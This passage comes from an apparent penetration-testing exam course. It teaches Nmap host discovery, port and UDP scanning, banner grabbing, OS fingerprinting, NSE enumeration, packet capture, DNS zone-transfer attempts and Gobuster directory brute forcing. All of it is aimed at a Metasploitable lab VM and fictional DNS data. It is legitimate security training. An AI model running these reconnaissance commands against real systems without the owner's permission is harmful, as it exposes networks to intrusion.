The Registration Data Access Protocol, which replaced WHOIS as the required service for most generic top-level domains on 28 January 2025.
Reverse DNS lookup
Asking which hostname an IP address maps to, through its PTR record.
Information disclosure
Data an organization publishes without meaning to, or without realizing its value to an attacker, such as versions in banners or authors in document metadata.
Secret scanning
Automated searching of code and its history for credentials such as keys, passwords and tokens.
Banner
The text a service returns when a client connects, which often names its software and version; Shodan indexes banners.

Knocking on Doors: Host Discovery, Port Scanning, and Fingerprinting

  • Discover hosts and scan TCP and UDP ports with Nmap, and interpret the six port states.
  • Identify services, versions and operating systems with banner grabbing, version detection, OS fingerprinting and safe NSE scripts.
  • Capture and read scan traffic with tcpdump and Wireshark, and explain why OT and IoT networks are watched passively.
  • Predict how filtering changes scan results, and record results as evidence for a report.

One packet, three answers

Send one TCP packet with the SYN flag set to port 21 of your Metasploitable VM, and one of three things happens. If a program is listening, the VM replies with SYN/ACK, the second step of the TCP handshake. If nothing is listening, it replies with RST, a reset. If a firewall drops the packet, nothing comes back at all, or an ICMP "unreachable" message arrives from somewhere in between. Every port scanner, from the simplest to Nmap, is built on reading those answers carefully.

This lesson walks through the active part of reconnaissance in your own lab, in the order a tester works:

  1. find the hosts
  2. find their open ports
  3. ask each service what it is
  4. ask each host what it is
  5. enumerate the protocols
  6. watch it all on the wire

Then it runs the same scans against a target behind a firewall, to show how every answer changes. If the TCP handshake needs a refresher, the site's Network+ Certification Prep covers it in full.

Exam objectives: 2.1 (network reconnaissance; protocol scanning, TCP and UDP; banner grabbing; network sniffing, including IoT and OT protocols), 2.2 (host discovery, service discovery, OS fingerprinting, protocol enumeration) and 2.4 (Nmap and the Nmap Scripting Engine, Wireshark and tcpdump).

A diagram of a client and a server exchanging SYN, then SYN-ACK, then ACK before data flows.
The TCP three-way handshake
300px-Tcp-handshake.png : ??? derivative work: Snubcube ( talk ) - CC BY-SA 3.0 - Wikimedia Commons

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Every command in this lesson names an address on your own host-only lab network, and nothing else. On a client engagement, active scanning is exactly the kind of activity that must sit inside the signed scope and testing window, because the client's monitoring may notice it. Nmap's author also warns that some fragile or poorly written devices have crashed under particular scans, which is why OT networks get special treatment later in this lesson.

Start Metasploitable, then on Kali run ip -br addr to confirm your host-only interface (often eth1) and your addresses. This lesson writes Kali as 192.168.56.101 and Metasploitable as 192.168.56.102.

Step 1: Find the hosts

Host discovery answers the first question of network reconnaissance: which addresses have something alive behind them? You ran it in Lesson 2: sudo nmap -sn 192.168.56.0/24. The -sn option skips the port scan. By default, Nmap's documentation says, it sends an ICMP echo request, a TCP SYN to port 443, a TCP ACK to port 80 and an ICMP timestamp request. On a local Ethernet network such as your host-only network, Nmap uses ARP requests instead, even if you ask for other probes, because ARP is almost always faster and more effective there.

Two complications matter in real networks. Many hosts and firewalls block ICMP, so a host can be up but silent; the -Pn option skips discovery and scans every listed address as if it were up. And network reconnaissance is more than a host list: note the gateways, the subnets each host sits in, and the route between them, which Nmap's --traceroute option records. A host with addresses in two networks is a possible bridge between them, a theme that returns in Module 8.

Step 2: Find the open ports

Port scanning is the exam's "protocol scanning". By default Nmap scans the 1,000 most common ports for each protocol; -p- scans all 65,535 TCP ports. Run both against your target and compare:

  • sudo nmap -sS 192.168.56.102 (the 1,000 most common TCP ports)
  • sudo nmap -sS -p- -T4 192.168.56.102 -oA lab-full (every TCP port, saved in three formats)

Here is the shape of the full scan's report, abridged. Rapid7's guide lists 30 open TCP ports on this VM, and the high-numbered ones will differ on yours.

Nmap scan report for 192.168.56.102
Host is up (0.00028s latency).
Not shown: 65505 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
80/tcp   open  http
445/tcp  open  microsoft-ds
3632/tcp open  distccd
[further ports removed]
MAC Address: 08:00:27:11:22:33 (Oracle VirtualBox virtual NIC)

The "Not shown" line says why most ports are missing from the table: they answered with a reset. The SERVICE column is only a lookup of the port number in Nmap's services file, not a test of what is listening. Step 3 does that test.

The -sS option is a SYN scan, the default when Nmap has raw-packet privileges. It is often called half-open scanning, because Nmap never completes the handshake: a SYN/ACK marks the port open and Nmap sends a reset; a RST marks it closed; silence after retries marks it filtered. Without privileges, Nmap falls back to a connect scan (-sT), which completes every handshake through the operating system and is more likely to be logged.

Nmap reports six port states, and the exam expects you to read them.

StateWhat it meansTypical cause
openAn application is accepting connectionsA listening service
closedReachable, but nothing is listeningThe host answered with RST
filteredProbes are blocked, so Nmap cannot tellA firewall dropped the probe or returned ICMP unreachable
unfilteredReachable, but open or closed is unknownReported only by the ACK scan
open|filteredOpen or filtered; the scan type cannot tellOpen ports give no response in UDP, FIN, NULL and Xmas scans
closed|filteredClosed or filteredReported only by the IP ID idle scan

UDP needs its own scan: sudo nmap -sU --top-ports 20 192.168.56.102. It is slow for a reason. A closed UDP port normally answers with an ICMP port unreachable message. An open or filtered one usually says nothing, so Nmap must wait and retry. Many systems, Linux among them, also rate-limit those ICMP messages. Nmap's documentation calculates that a one-per-second limit could stretch a full 65,536-port UDP scan past 18 hours. Scan the UDP ports that matter, such as DNS (53), SNMP (161) and NTP (123), rather than all of them.

The exam's "stealth scans" go further. NULL, FIN and Xmas scans (-sN, -sF, -sX) send segments with no flags, only FIN, or FIN, PSH and URG. They rely on a rule in RFC 793: a closed port should answer such a segment with RST, and an open one should drop it. Many Unix-like systems follow the rule, but Microsoft Windows, many Cisco devices and others send RST regardless, so every port looks closed.

Timing matters too: Nmap's templates run from -T0 (paranoid) and -T1 (sneaky), designed to slip under intrusion detection, through -T3 (normal, the default) to -T4 (aggressive) and -T5 (insane). On a client network, slower is gentler; the ROE may set a maximum rate.

What matters here: "filtered" and "open|filtered" are statements about what Nmap could not see, not about what is there. Write them up as unknowns, never as "closed".

A terminal showing Nmap scanning a private address and listing open TCP ports with their state and service, with closed ports summarized on one line.
A basic Nmap port scan
Taonas - CC BY-SA 3.0 - Wikimedia Commons

Step 3: Ask each service what it is

An open port is only a number. Service discovery turns it into a name and a version. The simplest way is banner grabbing: connect and read what the service says first. With Netcat, nc -nv 192.168.56.102 21 connects to the FTP port and prints its greeting line; type QUIT to leave. Try port 25 (SMTP) and port 22 (SSH) the same way. Many services announce their software and version in that first line, as the FTP service does here:

(UNKNOWN) [192.168.56.102] 21 (ftp) open
220 (vsFTPd 2.3.4)

Nmap's banner script does the same at scale: sudo nmap --script banner -p 21,22,25 192.168.56.102.

Version detection goes further. sudo nmap -sV -p 21,22,25,80,445 192.168.56.102 sends probes from Nmap's service-probes database and matches the replies, reporting the service protocol, the application name and version, and sometimes the hostname, device type and operating system family. The --version-intensity option, from 0 to 9 with a default of 7, trades thoroughness for time.

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
25/tcp  open  smtp        Postfix smtpd
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Compare that with your banners. Port 445 prints nothing useful to Netcat, because an SMB server waits for the client to speak first, so only the probes in -sV can name Samba. That is when you reach for -sV over a hand-grabbed banner: any service that does not greet you, or many ports at once.

Remember that a banner is a claim. Administrators can change or hide banners, and a patched service may still report an old version number, because some vendors back-port fixes without changing it. Lesson 12 turns this into a validation step before any finding is reported.

Step 4: Ask the host what it is

Operating system fingerprinting identifies the target's operating system from how its TCP/IP stack behaves. Run sudo nmap -O 192.168.56.102. Nmap sends a series of TCP and UDP probes and measures details such as initial sequence numbers, TCP options and their order, IP ID patterns and window sizes. It compares the result with a database of more than 2,600 known fingerprints. Its documentation says OS detection is far more effective when it finds at least one open and one closed TCP port. That is why --osscan-limit skips hosts without both. The --osscan-guess option reports near-matches with a confidence percentage.

Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

That is a kernel family and range, not a product name: Nmap does not say Ubuntu here, though the version strings from Step 3 do. A perfect match shows no percentage; confidence figures appear only when Nmap prints near-matches.

Fingerprinting can also be passive. Tools such as p0f, which NIST SP 800-115 lists among discovery tools, infer the operating system from traffic you capture rather than from probes you send, which is quieter and safer on fragile networks.

A terminal showing nmap -A against two private addresses, with device type, operating system and service versions for each.
Nmap OS detection output
Unknown author - CC BY-SA 3.0 - Wikimedia Commons

Step 5: Enumerate the protocols

Protocol enumeration asks what a service supports, not just what it is: which SMB dialects, which SSH ciphers, which TLS versions. This is where the Nmap Scripting Engine (NSE) earns its place. Scripts are grouped into categories: safe scripts are not designed to crash services, use heavy resources or exploit flaws, and discovery scripts query for information. Other categories, such as brute, dos, exploit, intrusive and vuln, do things your ROE may forbid, so name your categories explicitly.

  • sudo nmap --script smb-protocols -p 445 192.168.56.102 lists the SMB dialects the server accepts and flags SMBv1, an outdated and risky version.
  • sudo nmap --script ssh2-enum-algos -p 22 192.168.56.102 reports the encryption, key exchange and compression algorithms the SSH server offers; outdated ones become findings.
  • sudo nmap --script "discovery and safe" -p 21,22,25,80 192.168.56.102 runs only scripts in both categories, a sensible ceiling for this course. On a client network, add and not external to the expression: some of those scripts, such as whois-ip, send the target's address to third-party services.

The -sC option runs the default category. Nmap chooses default scripts to be fast, useful, concise, reliable and, almost always, safe, but read what a script does before pointing it at a client.

A terminal showing Nmap run against scanme.nmap.org, the project's own test host, with script results printed under the open ports, followed by OS guesses and a traceroute.
NSE script results in Nmap output
Jacek Wielemborek - CC0 - Wikimedia Commons

Step 6: Watch it on the wire

Network sniffing shows you what your tools actually send, and what the network says when nobody is probing it. In one Kali terminal start a capture: sudo tcpdump -i eth1 -n -w /tmp/scan.pcap host 192.168.56.102. The -i option picks the interface, -n keeps addresses numeric, and -w writes raw packets to a file.

The path matters: Debian's tcpdump package, which Kali carries, drops root privileges to its own tcpdump user before it opens the output file, so a file in your home folder fails with "Permission denied".

In a second terminal run sudo nmap -sS -p 21,23,8888 192.168.56.102, then stop the capture with Ctrl+C. Read it back with tcpdump -n -r /tmp/scan.pcap, or open it in Wireshark and apply the display filter tcp.flags.syn == 1 and tcp.flags.ack == 1 to see only SYN/ACK replies. Port 8888 should show your SYN answered by a RST, the signature of a closed port.

In tcpdump's text, S is SYN, a dot is ACK and R is RST. The lines to look for read like this; your numbers will differ.

14:02:11.120001 IP 192.168.56.101.51123 > 192.168.56.102.21: Flags [S], seq 3187654321, win 1024, options [mss 1460], length 0
14:02:11.120402 IP 192.168.56.102.21 > 192.168.56.101.51123: Flags [S.], seq 2090123456, ack 3187654322, win 5840, options [mss 1460], length 0
14:02:11.120430 IP 192.168.56.101.51123 > 192.168.56.102.21: Flags [R], seq 3187654322, win 0, length 0
14:02:11.120511 IP 192.168.56.101.51123 > 192.168.56.102.8888: Flags [S], seq 3187654321, win 1024, options [mss 1460], length 0
14:02:11.120790 IP 192.168.56.102.8888 > 192.168.56.101.51123: Flags [R.], seq 0, ack 3187654322, win 0, length 0

Line 2 is the SYN/ACK that proves port 21 open. Line 3 is Kali's own reset, the half-open scan tearing the connection down, so a RST coming from your side says nothing about the port. Line 5 is the target's reset, which is what marks port 8888 closed. Read the direction before you read the flag.

In industrial and building networks, sniffing is not just a learning aid; it is the safer way to do reconnaissance. NIST SP 800-82 Revision 3 repeatedly warns that active scanning can disrupt operational technology. It recommends passive monitoring from SPAN ports or network taps. Any active tool should be tested on non-production systems first and used during planned downtime. Learn the common ports so you recognize the protocols in a capture:

ProtocolIANA service name and portWhere it appears
Modbusmbap, 502 (TCP and UDP)Industrial controllers; no authentication in the classic protocol
DNP3dnp, 20000Electric and water utilities
BACnetbacnet, 47808Building automation such as heating and lighting
MQTTmqtt, 1883IoT devices publishing sensor data to a broker

Lesson 22 explains how these protocols are attacked and defended. For reconnaissance, the point is that a capture from a mirror port can reveal every controller, its role and its partners without sending it a single packet.

The Wireshark window with a packet list at the top, a decoded DNS query in the middle and the raw bytes at the bottom.
Wireshark's three panes
Laurachappell - CC BY-SA 4.0 - Wikimedia Commons
A terminal showing tcpdump lines, each with a timestamp, source and destination address and port, protocol and length.
tcpdump output in a terminal
Lars martin4 - CC BY-SA 4.0 - Wikimedia Commons
A network diagram of PLCs, operator panels, drives and I/O devices on a Modbus TCP/IP backbone, with gateways down to serial segments.
A Modbus network
Sertion - CC BY-SA 4.0 - Wikimedia Commons
A schematic of a copper network tap that copies traffic from an active link to two monitoring ports, and keeps the link up when power fails.
How a network tap works
Cubro - CC BY-SA 4.0 - Wikimedia Commons

A second run: the same target behind a firewall

Now change one input. On Metasploitable, log in as msfadmin and block the FTP port with its host firewall: sudo iptables -A INPUT -p tcp --dport 21 -j DROP. (If your image lacks iptables, read this section as a thought experiment.) Rescan with sudo nmap -sS -p 21,22 192.168.56.102.

  • Port 21 changes from open to filtered. The SYN now gets no answer at all, so Nmap cannot tell whether anything listens.
  • Port 22 is unchanged. The rule touched only port 21, which is how a real firewall's allow list looks to a scanner.
  • Banner grabbing fails. nc -nv 192.168.56.102 21 hangs and times out instead of printing a greeting.
  • Your capture shows the difference. SYNs to port 21 go out and nothing comes back, where before there was a SYN/ACK.

Had the firewall dropped ICMP and every probe Nmap uses for discovery on a routed network, the host would have looked down and you would have needed -Pn to scan it at all. When you finish, restore Metasploitable's snapshot rather than removing the rule by hand.

Exam cues: which scan, flag or state the stem wants

Objectives 2.1, 2.2 and 2.4 begin "Given a scenario", and these are the pairs people mix up.

The stem saysIt points toDo not confuse with
"Half-open", "never completes the handshake"-sS, the default with raw-packet privileges-sT, which completes every handshake and is what an unprivileged user gets
"Which addresses are alive?", "no port scan"-sn-Pn, which skips discovery and scans ports anyway
"Ignores ping, but the client says it exists"-Pn-sn, which would report the host as down
"List the targets without sending them packets"-sL, with -n to skip DNS lookups-sn, which does send probes
"SYN answered by RST"closedfiltered, which means silence or ICMP unreachable
"UDP port gives no response after retries"open|filteredclosed, where UDP normally answers with ICMP port unreachable
"ACK scan gets a RST"unfiltered: reachable, but open or closed is unknownopen, which an ACK scan cannot tell you
"FIN, NULL or Xmas scan shows every port closed on a Windows host"Windows answers RST either way, so use -sSA firewall, which would show filtered or open|filtered
"Which software and version on open ports?"-sV, or banner grabbing with Netcat for a single port-O, which identifies the operating system
"Identify the OS without probing a fragile host"Passive fingerprinting from captured traffic, such as p0f-O, which sends probes and works best with one open and one closed TCP port
"Which SMB dialects or SSH algorithms does it offer?"Protocol enumeration with NSE: smb-protocols, ssh2-enum-algos-sV, which names the product, not everything it supports
"Only scripts that gather information and are not designed to crash or exploit"--script "discovery and safe"The vuln, intrusive or exploit categories; -sC runs the default category, a different set
"Capture to a file from the command line"tcpdump -w, read back with -rWireshark, the graphical tool with display filters
"PLCs", "control network", "fragile devices"Passive capture from a SPAN port or tap; ports 502, 20000, 47808 and 1883 name the protocolsAny active scan in production
"Feed the results to a script"-oX-oG, which is deprecated; -oA saves normal, XML and grepable at once

How scan results are reported

Raw scans are evidence, not findings. Keep the files from -oA (normal, XML and the deprecated grepable format) with the date, time and source address, because the client may need to match your scans to its own logs. Then turn the results into findings that say what is exposed and why it matters. Telnet open on a server is a cleartext login exposure, with the recommendation to disable it and use SSH. An SMB server accepting SMBv1 is an outdated-protocol finding, with the recommendation to disable SMBv1. Unknowns, such as filtered ports, go in the report's limitations rather than being silently dropped.

Common misconceptions

  • "Filtered means closed." Filtered means Nmap could not tell. Something may be listening behind the filter.
  • "A host that does not answer ping is down." Many hosts block ICMP. Use -Pn when the scope says the host exists.
  • "A SYN scan is invisible." Half-open scans avoid completed connections in application logs, but firewalls and intrusion detection systems see them easily.
  • "The banner proves the version." Banners can be changed, hidden or out of date after back-ported patches. Treat them as claims to validate.
  • "NSE scripts are all safe because they ship with Nmap." Categories include brute, dos, exploit and intrusive. Choose categories that your ROE allows.

Recap

  • A SYN answered by SYN/ACK means open, by RST means closed, and by silence or ICMP unreachable means filtered.
  • Host discovery (-sn) uses ARP on local Ethernet and a mix of ICMP and TCP probes elsewhere; -Pn skips it.
  • Nmap scans 1,000 common ports by default and all 65,535 with -p-; UDP scans are slow because open ports rarely reply and ICMP is rate-limited.
  • NULL, FIN and Xmas scans depend on RFC 793 behavior that Windows and many other systems do not follow.
  • Banner grabbing, -sV and -O identify services, versions and operating systems; safe and discovery NSE scripts enumerate protocols.
  • tcpdump and Wireshark show what your tools send; on OT networks, passive capture from a SPAN port or tap is the safer reconnaissance.
  • Save raw output as evidence, report exposures with fixes, and list unknowns as limitations.

Sources

  1. Lyon, G. (n.d.). Nmap reference guide: Host discovery; Port scanning basics; Port scanning techniques; Port specification and scan order; Service and version detection; OS detection; Timing and performance; Output. host discovery; port states; scan techniques; port specification; version detection; OS detection; timing; output
  2. Lyon, G. (n.d.). Usage and examples (NSE script categories) and Legal issues (crash risk). In Nmap network scanning; and NSE documentation for the banner, smb-protocols, ssh2-enum-algos and whois-ip scripts. nmap.org (legal issues); whois-ip; nmap.org (NSE usage); banner; smb-protocols; ssh2-enum-algos
  3. The Tcpdump Group. (n.d.). tcpdump(1) manual page. tcpdump.org; Debian tcpdump package. (n.d.). debian/rules, version 4.99.6-2 (builds with a dedicated tcpdump user). tracker.debian.org; Wireshark Foundation. (n.d.). Display filter reference: Transmission Control Protocol. wireshark.org
  4. Internet Assigned Numbers Authority. (n.d.). Service name and transport protocol port number registry (entries for ports 502, 1883, 20000 and 47808). iana.org
  5. Rapid7. (n.d.). Metasploitable 2 exploitability guide (used here only for the list of open ports). docs.rapid7.com
  6. Stouffer, K., et al. (2023). Guide to operational technology (OT) security (NIST Special Publication 800-82 Rev. 3). National Institute of Standards and Technology. csrc.nist.gov
  7. Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), section 4 and Appendix A. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF)
Key terms
Host discovery
Finding which addresses are alive before scanning their ports; Nmap's -sn, which uses ARP on local Ethernet.
SYN scan
Nmap's default privileged TCP scan (-sS), called half-open because it never completes the handshake.
Port states
Nmap's six readings of a port: open, closed, filtered, unfiltered, open|filtered and closed|filtered.
Banner grabbing
Connecting to a service and reading the first text it sends, which often names its software and version.
Version detection
Nmap's -sV, which probes open ports and matches replies to identify the service, application and version.
OS fingerprinting
Inferring a host's operating system from how its TCP/IP stack responds to probes, or passively from captured traffic.
Nmap Scripting Engine (NSE)
Nmap's script system, whose categories, such as safe, discovery, intrusive and exploit, tell you what a script may do.
Protocol enumeration
Listing what a service supports, such as SMB dialects, SSH algorithms or TLS versions.
SPAN port
A switch port that mirrors traffic to a monitoring device, letting testers watch OT networks without probing them.

What a Service Gives Away: Enumerating DNS, Shares, Users, Directories, Secrets, and WAFs

  • Enumerate DNS, directories, shares, local users and email accounts in your own lab, and explain why each service answers.
  • Recognize cloud access keys, passwords, API keys and session tokens, and handle them as evidence without using them.
  • Detect a web application firewall, explain how an origin address becomes exposed, and report it without going around the control.
  • Diagnose false conclusions in enumeration output, map the results into an attack path, and write a finding with severity, evidence, root cause and remediation.

Seven true observations and one wrong conclusion

At 4:10 on a Thursday afternoon, Mara, a fictional junior tester, closed her enumeration notes on an in-scope Linux server with one sentence: nothing else to enumerate, moving on to vulnerability scanning. The server was the same Metasploitable VM you scanned in Lesson 7. These are her notes.

Target 192.168.56.102. Open from my Nmap scan: 25, 53, 80, 111, 139, 445, 2049 and others.
1 DNS      dig 192.168.56.102: no servers could be reached.     -> No DNS data here.
2 Web      Gobuster with common.txt: no /dvwa, no /mutillidae.  -> Those apps are not installed.
3 Shares   smbclient from the jump box: negotiation failed.     -> SMB is closed to me.
4 Users    VRFY msfadmin returned 252. RFC: 252 = cannot verify. -> No user data.
5 Perms    enum4linux on tmp share says Writing: N/A.           -> Not writable.
6 Secrets  grep -i password on the home page: 0 hits.           -> No secrets.
7 WAF      http-waf-detect printed nothing.                     -> No WAF. Nothing to note.
Conclusion: nothing else to enumerate. Moving to vulnerability scanning.

Everything left of the arrows happened. Everything right of them is wrong, each for a different reason. She made seven errors:

  • She asked the wrong server.
  • She trusted a list that lacked the words.
  • She blamed the server for her own client's limits.
  • She read a reply code without a control.
  • She read "not tested" as "no".
  • She searched the wrong place for one word.
  • She took a tool's silence for a fact.

Those seven errors are this lesson's seven stops.

Enumeration is the step after scanning. A port scan asks what is listening; enumeration asks the listening service what it knows. It works because these protocols were built to answer: DNS exists to publish names, file servers list their shares so clients can browse them, and mail servers must decide which recipients are real. Your job is to ask the right question, read the reply exactly, and know what the reply does not prove.

Exam objectives: 2.2 (DNS, directory, share, local user, email account, permission and secrets enumeration, including cloud access keys, passwords, API keys and session tokens; web crawling; manual enumeration of robots.txt, sitemaps and platform plugins; WAF enumeration, including the origin address; attack path mapping) and 2.4 (Amass, DNSdumpster, theHarvester, Hunter.io, nslookup and dig).

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Every command in this lesson names an address on your own lab: 192.168.56.102 for Metasploitable and 127.0.0.1 for Juice Shop. Anything about any other network is fictional data printed on the page.

Enumeration needs more care on a client than scanning does, because some of it looks like an attack. Lesson 7 called "discovery and safe" a sensible ceiling for NSE scripts, and several scripts here sit above it.

Nmap files smb-enum-shares under discovery and intrusive, smb-enum-users under auth and intrusive, and smtp-enum-users under auth, external and intrusive. Nmap uses intrusive for scripts whose risk of crashing something, using heavy resources or being taken for an attack is too high to call safe.

That is fine on your own VM. On an engagement, the ROE has to allow it, along with directory brute forcing and any contact with staff.

Start Metasploitable and keep Kali's NAT adapter not attached. Gobuster, enum4linux and the dirb wordlists are all in Kali's default image. If a tool is missing, shut the target down before you reconnect the NAT adapter to install it. If your computer cannot run Metasploitable, read the sample outputs below as your evidence.

Line 1: the Domain Name System asked the wrong way

Mara typed dig 192.168.56.102 and got a timeout. The tool, whose name the exam's acronym list expands as DIG, the Domain Information Groper, takes the server to ask after an @ sign: dig @server name type. Without the @, her address was just a name to look up, and the question went to whichever resolver /etc/resolv.conf lists. With Kali's NAT adapter unplugged, no resolver was reachable. Her message described her own machine and said nothing about the target.

Ask the target directly. These four lookups are your DNS enumeration of the lab:

dig @192.168.56.102 version.bind txt chaos +short
dig @192.168.56.102 localhost A +short
dig @192.168.56.102 localhost AXFR
nslookup localhost 192.168.56.102

The first asks what software answers. BIND replies to a TXT query for version.bind in the CHAOS class with its real version unless an administrator changes that setting. Published scans of this image report ISC BIND 9.4.2 and say recursion appears to be enabled, so expect "9.4.2". A version string is already something to carry into Module 4. The last line is the same idea in nslookup, the older tool from Lesson 6, whose form is nslookup name server: the server goes last and takes no @.

Here this lab runs out, and you should know that before building on it. The published scans confirm the version and the recursion, but no published source we found lists this image's zones, so find out yourself: log in on Metasploitable's console as msfadmin and run grep zone /etc/bind/named.conf*.

Expect only stock entries such as localhost and the loopback reverse zones, with nothing resembling a company's domain. The localhost lookup should give 127.0.0.1 at most. The AXFR should print a few lines or ; Transfer failed. Questions about outside names should end in SERVFAIL or a timeout, because the server tries to recurse toward an internet it cannot reach.

Write down what you get. An empty result recorded accurately is evidence. Mara's was not, because she never asked.

A diagram of a DNS resolver asking a root name server, then an org. name server, then a wikipedia.org name server, each pointing it to the next until it gets the address.
A resolver working down from the root
Lion Kimbro - Public domain - Wikimedia Commons

What a fuller zone gives away: SOA, CNAME and zone transfers

Since your lab's server has nothing worth copying, here is what a real answer looks like. The data is fictional, using example.com and documentation addresses. It is a successful DNS zone transfer, an AXFR request that asks an authoritative name server for the entire zone:

example.com.             3600 IN SOA   ns1.example.com. hostmaster.example.com. 2026110301 7200 1800 1209600 300
example.com.             3600 IN NS    ns1.example.com.
example.com.             3600 IN MX    10 mail.example.com.
example.com.             3600 IN TXT   "v=spf1 ip4:198.51.100.7 -all"
www.example.com.         3600 IN CNAME example-com.waf-provider.example.net.
vpn.example.com.         3600 IN A     203.0.113.30
staging-api.example.com. 3600 IN A     203.0.113.44
ftp.example.com.         3600 IN A     198.51.100.7
example.com.             3600 IN SOA   ns1.example.com. hostmaster.example.com. 2026110301 7200 1800 1209600 300
RecordWhat it isWhat it gives a tester
SOA (Start of Authority)The zone's header: primary server, administrator's mailbox, serial number and timers. RFC 5936 requires a transfer to begin and end with itThe server to ask, and a serial that often shows when the zone last changed
NS and MXName servers and mail serversMore hosts to enumerate; a mail host is where Line 4 begins
TXTFree text, often SPF mail policy and service verification stringsWhich addresses and cloud services the organization trusts; note 198.51.100.7 here
CNAME (canonical name)An alias pointing one name at anotherAn alias into a CDN or WAF provider, which matters at Line 7
A and AAAAA name's IPv4 and IPv6 addressesHosts nobody mentioned, such as staging-api: check the scope list before touching one
PTRThe reverse: an address's name, found with dig -xNames for an address range, sometimes internal ones

Each name in the left column is a fully qualified domain name (FQDN): the complete name, every label up to the root, which is what the trailing dot marks. RFC 9499 notes that people usually write it without the dot and still call it fully qualified. A mail banner can hand you one for free, as you will see at Line 4.

Why does a server hand all this over? AXFR exists so that secondary name servers can copy a zone from the primary. If nothing restricts who may ask, a tester gets the same copy.

RFC 5936 says implementations should offer a way to limit transfers and should not default to open. BIND's default stayed permissive until the 9.20 release notes announced that outgoing transfers are no longer enabled by default, so older servers such as your lab's are the likely place to see one.

Testers try it early because a single request can replace days of guessing. The evidence is the transfer output with its date and source. Defenders see an AXFR from an address that is not a secondary in the name server's logs. The fix is allow-transfer limited to the named secondaries, ideally with TSIG keys.

Now change one input. Suppose the administrator adds that restriction and you repeat the request. The whole reply becomes one line, ; Transfer failed., and the finding disappears. OWASP's testing guide says most servers now refuse, while still calling it worth trying. So you fall back on three slower methods:

  • a reverse sweep of the in-scope range, one PTR lookup per address
  • guessing names from a wordlist with dnsrecon, dnsenum or gobuster dns
  • permuting names you already know

Those guesses show up in the client's logs as bursts of failed lookups.

Two traps wait there. A wildcard record makes every guess resolve, so look up a random name that cannot exist before you trust a hit. And RFC 8482 lets servers give a minimal reply to an ANY query, so an almost empty ANY answer does not mean the records are absent. Ask for each type.

ToolWhere its data comes fromDoes it touch the target?Choose it when
dig, nslookupThe one server you nameYes: ordinary lookups look normal, an AXFR does notYou want one exact answer from one server
AmassAn OWASP project combining certificate logs, web archives, scraping and APIs, plus brute forcing and zone transfers only on requestDepends on the options you chooseYou need the broadest map of an organization and have time to run it
DNSdumpsterHackerTarget's DNS data, through a websiteNo traffic from you to the targetYou want a fast first look at one domain
theHarvesterSearch engines, certificate logs, DNS datasets and code repositoriesNot by default, though the providers see what you askedYou want people and hosts in one run
Hunter.ioIts own index of addresses found on public pagesNo; needs an account (18 and over)You need a domain's email format rather than its hosts

Each tool's output has its own shape. Older Amass releases, and many guides, print each relationship as a line:

www.example.com (FQDN) --> cname_record --> example-com.waf-provider.example.net (FQDN)
vpn.example.com (FQDN) --> a_record --> 203.0.113.30 (IPAddress)

Version 5, the one Kali packages, keeps findings in an asset database and reads them back through subcommands such as subs, assoc and viz. theHarvester prints plain lists under headings, as in this fictional run, and DNSdumpster gives you a web page of the domain's DNS records and related hosts:

[*] Target: example.com
[*] Emails found: 2
----------------------
jane.doe@example.com
sam.lee@example.com
[*] Hosts found: 2
---------------------
mail.example.com
vpn.example.com

All of these work on real domains, and this course runs commands only against your own lab, so no command line for them appears here. Where an account or key is needed, read the terms first, as Lesson 6 explained.

Bottom line: check who you actually asked. A timeout from your own resolver says nothing about the target, and a refused transfer closes only one of several routes to the same names.

A tree diagram running from the root through top-level domains to hosts, with the debian.org zone circled and two fully qualified names traced down from the root.
A zone inside the DNS tree
Sylvain Leroux ( talk ) - CC BY-SA 3.0 - Wikimedia Commons

Line 2: directory enumeration and the limits of a wordlist

Directory enumeration requests a list of likely names, one after another, and reports whatever does not come back 404. MITRE ATT&CK files this under T1595.003, Wordlist Scanning. Mara used Gobuster, a fast Go tool whose dir mode does exactly this. Run it, then read the home page's links yourself:

gobuster dir -u 192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -q
curl -s 192.168.56.102/ | grep -o 'href="[^"]*"'

Gobuster assumes plain HTTP when you give no scheme and no port. Trimmed to names and status codes, expect something like the first block; published scans of the image report these paths, and your run may list more. The second block is what the home page's five links should give.

/dav            (Status: 301)
/phpMyAdmin     (Status: 301)
/phpinfo.php    (Status: 200)
/test           (Status: 301)
/twiki          (Status: 301)
href="/twiki/"
href="/phpMyAdmin/"
href="/mutillidae/"
href="/dvwa/"
href="/dav/"
PathFound by reading linksFound by common.txt
/twiki/, /phpMyAdmin/, /dav/YesYes
/dvwa/, /mutillidae/YesNo
/phpinfo.php, /test/NoYes

Kali's common.txt has about 4,600 entries, and neither dvwa nor mutillidae is among them. The tool never asked for those paths, so its silence meant nothing. The apps Mara declared missing were linked from the front page. The reverse holds too: nothing on the home page links to /phpinfo.php, so reading links alone would have missed a page that prints a lot of system information.

Prove it with one changed input. Make a two-word list and run again:

printf 'dvwa\nmutillidae\n' > extra.txt
gobuster dir -u 192.168.56.102 -w extra.txt -q

Both paths now appear. Same server, same tool, and the result flips because of the list. That is why testers build lists from what they have already learned about a target, and why larger collections such as SecLists exist.

Web crawling is the other half. A web crawler fetches a page, pulls out its links, visits them and repeats, so it maps what the site itself points to, using requests that look like ordinary browsing. ZAP's Spider does this and can also read robots.txt and sitemap.xml for starting points; its AJAX Spider drives a real browser for pages built by JavaScript. That last point matters at 127.0.0.1:3000. Juice Shop's HTML ships an empty app-root element and no ordinary links, so a plain crawler sees almost nothing. Lesson 9 hits that wall with a Python scraper and modifies the script to get past it.

One more false result to recognize. Some applications answer every path with 200 and a friendly "not found" page. Gobuster checks for this first by requesting a random name, and stops with a message like this one (fictional target):

